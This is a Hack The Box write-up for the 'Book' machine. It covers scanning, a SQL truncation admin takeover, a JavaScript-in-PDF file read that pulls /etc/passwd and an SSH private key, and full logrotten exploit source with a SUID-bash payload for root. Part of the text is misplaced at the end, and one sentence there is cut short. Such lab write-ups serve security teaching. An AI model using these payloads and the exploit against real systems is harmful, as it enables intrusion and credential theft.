HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Book

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.176 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Fri Mar 31 09:55:44 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.046s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Mar 31 09:55:57 2023 -- 1 IP address (1 host up) scanned in 13.41 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.176 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Fri Mar 31 09:56:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7fc5799f682e003d603bc09430155b7 (RSA)
|   256 a3e5d174c48ae8c852c717834a5431bd (ECDSA)
|_  256 e3626872e2c0ae46673dcb46bf69b96a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: LIBRARY - Read | Learn | Have Fun
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 31 09:56:27 2023 -- 1 IP address (1 host up) scanned in 8.24 seconds

Let's start by enumerating subdirectories and pages with gobuster.

gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.176
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2023/03/31 09:58:05 Starting gobuster in directory enumeration mode
===============================================================
/profile.php          (Status: 302) [Size: 0] [--> index.php]
/docs                 (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/]
/books.php            (Status: 302) [Size: 0] [--> index.php]
/feedback.php         (Status: 302) [Size: 0] [--> index.php]
/admin                (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
/home.php             (Status: 302) [Size: 0] [--> index.php]
/db.php               (Status: 200) [Size: 0]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
/download.php         (Status: 302) [Size: 0] [--> index.php]
/contact.php          (Status: 302) [Size: 0] [--> index.php]
/.php                 (Status: 403) [Size: 277]
/search.php           (Status: 302) [Size: 0] [--> index.php]
/index.php            (Status: 200) [Size: 6800]
/collections.php      (Status: 302) [Size: 0] [--> index.php]
/settings.php         (Status: 302) [Size: 0] [--> index.php]
/.php                 (Status: 403) [Size: 277]
Progress: 262992 / 262995 (100.00%)
===============================================================
2023/03/31 09:59:46 Finished
===============================================================

The index.php page shows a login page where we can register a user.

Let's create a user and log into the website.

Once logged in, we'll see different sections. In the Contact Us section, we'll see the email of the admin user.

We can also modify our profile from View Profile.

From here we can change our username. Note that if we try to change our username to something like 123456789101112131415, it will get chopt to 10 characters.

Exploitation

This feature could lead to a SQL Truncation vulnerability. The idea is to register a new user with the email admin@book.htb ., so when it gets trimmed, The email will be admin@book.htb, and we'll be able to log in as admin. Create a new account with the name admin, the email admin@book.htb, and the password admin123.

Intercept the request with BurpSuite. Add some + characters, which are spaces base64 encoded, and a character at the end of the email parameter. Note the . characters after the +.

As the email gets trimmed, we just registered the admin user with the admin123 password. Log in with those credentials.

Now we are logged in as the admin user.

And these credentials are also valid for the login page in the /admin directory.

In the /admin/collection.php we can see a link to a PDF.

This PDF file contains a list with all the available collections.

We could try to inject a malicious payload into the dynamic PDF file generated from the /collections.php page. As the title of the collection is represented in the dynamic PDF, we could inject some code into the title, which will show the content of a file. In this case, we could start by listing the content of the /etc/passwd file. Inject the following code in the Book Title field and submit it together with a sample PDF file.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>"+this.responseText)+"</pre>"};
x.open("GET","file:///etc/passwd");x.send();
</script>

If we download again the collections PDF file from /admin/collections.php, we'll see the content of the /etc/passwd file.

Notice there is a user called reader. As port 22 is open, let's try to get his private SSH key.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>"+this.responseText)+"</pre>"};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

Download the collections PDF again, and view the id_rsa key.

Copy and paste the key into the id_rsa file in our local system, give it the right permissions

micro id_rsa && chmod 600 id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----

Get a shell as reader, and then we'll be able to grab the user flag.

ssh -i id_rsa reader@10.10.10.176

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Mar 31 16:11:58 UTC 2023

  System load:  0.01              Processes:             211
  Usage of /:   52.5% of 5.77GB   Users logged in:       0
  Memory usage: 12%               IP address for ens160: 10.10.10.176
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

109 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$ whoami
reader
reader@book:~$ cat user.txt 
1d5cdb229e4d55a9afab32881d8f6d63

Privilege Escalation

There is a directory called backups in the home directory of the reader user.

ls -l /home/reader

total 8
drwxr-xr-x 2 reader reader 4096 Jul 20  2021 backups
-r-------- 1 reader reader   33 Mar 31 15:13 user.txt

Which contains a few log files.

ls -la /home/reader/backups/

total 12
drwxr-xr-x 2 reader reader 4096 Jul 20  2021 .
drwxr-xr-x 6 reader reader 4096 Mar 31 16:11 ..
-rw-r--r-- 1 reader reader    0 Jan 29  2020 access.log
-rw-r--r-- 1 reader reader   91 Jan 29  2020 access.log.1

Maybe there is some kind of background jobs generating them. Let's upload pspy64 to the machine, and see the background processes. Set a simple HTTP server where the pspy64 binary is located.

python -m http.server 80

And download it from the /dev/shm directory.

cd /dev/shm

wget http://10.10.14.6/pspy64

chmod +x pspy64

Run the binary to check the processes.

./pspy64

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855                                                                            


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
...
2023/03/31 16:22:24 CMD: UID=0    PID=14569  | /usr/sbin/logrotate -f /root/log.cfg
...

nano /dev/shm/payload

#!/bin/bash
if [ `id -u` -eq 0 ]; then (chmod u+s /bin/bash); fi

Now copy and paste the code from the exploit into the logrotate.c file.

nano logrotate.c

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>


#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )

/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"

#define PROGNAME "logrotten"

void usage(const char* progname)
{
printf("usage: %s [OPTION...] <logfile>\n",progname);
printf("  %-3s %-22s %-30s\n","-h","--help","Print this help");
printf("  %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
printf("  %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
printf("  %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
printf("  %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
printf("  %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
printf("  %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}

int main(int argc, char* argv[] )
{
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  uint32_t imask = IN_MOVED_FROM;
  char *payloadfile = NULL;
  char *logfile = NULL;
  char *targetdir = NULL;
  char *logpath;
  char *logpath2;
  char *targetpath;
  int debug = 0;
  int sleeptime = 1;
  char ch;
  const char *p;
  FILE *source, *target;    

  int c;

  while(1)
  {
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"payloadfile", required_argument, 0, 0},
{"targetdir", required_argument, 0, 0},
{"sleep", required_argument, 0, 0},
{"help", no_argument, 0, 0},
{"open", no_argument, 0, 0},
{"debug", no_argument, 0, 0},
{"compress", no_argument, 0, 0},
{0,0,0,0}
};

c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
if (c == -1)
break;

switch(c)
{
case 'p':
payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
  memset(payloadfile,'\0',strlen(optarg)+1);
strncpy(payloadfile,optarg,strlen(optarg));
break;
case 't':
targetdir = alloca((strlen(optarg)+1)*sizeof(char));
  memset(targetdir,'\0',strlen(optarg)+1);
strncpy(targetdir,optarg,strlen(optarg));
break;
case 'h':
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
case 'd':
debug = 1;
break;
case 'o':
imask = IN_OPEN;
break;
case 'c':
imask = IN_OPEN;
break;
case 's':
sleeptime = atoi(optarg);
break;
default:
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
}
  }

  if(argc == (optind+1))
  {
  logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
  memset(logfile,'\0',strlen(argv[optind])+1);
  strncpy(logfile,argv[optind],strlen(argv[optind]));
  }
  else
  {
  usage(PROGNAME);
  exit(EXIT_FAILURE);
  }

  for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);

  index = j+1;

  p = &logfile[index];

  logpath = alloca(strlen(logfile)*sizeof(char));
  logpath2 = alloca((strlen(logfile)+2)*sizeof(char));

  if(targetdir != NULL)
  {
  targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
  strcat(targetpath,targetdir);
  }
  else
  {
targetdir= TARGETDIR;
  targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
        targetpath[0] = '\0';
  strcat(targetpath,TARGETDIR);
  }
  strcat(targetpath,"/");
  strcat(targetpath,p);

  for(j = 0; j < index; j++)
  logpath[j] = logfile[j];
  logpath[j-1] = '\0';

  strcpy(logpath2,logpath);
  logpath2[strlen(logpath)] = '2';
  logpath2[strlen(logpath)+1] = '\0';

  /*creating the INOTIFY instance*/
  fd = inotify_init();

  if( debug == 1)
  {
  printf("logfile: %s\n",logfile);
  printf("logpath: %s\n",logpath);
  printf("logpath2: %s\n",logpath2);
  printf("targetpath: %s\n",targetpath);
  printf("targetdir: %s\n",targetdir);
  printf("p: %s\n",p);
  }

  /*checking for error*/
  if ( fd < 0 ) {
    perror( "inotify_init" );
  }

  wd = inotify_add_watch( fd,logpath, imask );

  printf("Waiting for rotating %s...\n",logfile);

while(1)
{
  i=0;
  length = read( fd, buffer, EVENT_BUF_LEN ); 

  while (i < length) {     
      struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];     if ( event->len ) {
      if ( event->mask & imask ) { 
  if(strcmp(event->name,p) == 0)
  {
            rename(logpath,logpath2);
            symlink(targetdir,logpath);
    printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
    if(payloadfile != NULL)
    {
 printf("Waiting %d seconds before writing payload...\n",sleeptime);
    sleep(sleeptime);
    source = fopen(payloadfile, "r");    
    if(source == NULL)
            exit(EXIT_FAILURE);

    target = fopen(targetpath, "w");    
    if(target == NULL)
    {
            fclose(source);
            exit(EXIT_FAILURE);
    }

    while ((ch = fgetc(source)) != EOF)
            fputc(ch, target);

    chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
    fclose(source);
    fclose(target);
    }
       inotify_rm_watch( fd, wd );
       close( fd );
    printf("Done!\n");

    exit(EXIT_SUCCESS);
  }
      }
    }
    i += EVENT_SIZE + event->len;
  }
}
  /*removing from the watch list.*/
   inotify_rm_watch( fd, wd );

  /*closing the INOTIFY instance*/
   close( fd );

   exit(EXIT_SUCCESS);
}

Compile the code.

gcc -o logrotate logrotate.c

Run the following command.

./logrotate -p ./payload /home/reader/backups/access.log

Inject some text into the access.log file to trigger the exploit.

echo rooted > /home/reader/backups/access.log

Now the /bin/bash binary has SUID permissions.

ls -l /bin/bash

-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash

Finally, get a shell as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
17449776536a015800fa95cd7c54bbc9

As we can see, root is running the logrotate binary. As we can see, there is an exploit which allows . First, we need to create the payload file, with bash code that will give the /bin/bash binary SUID privileges.

privilege escalation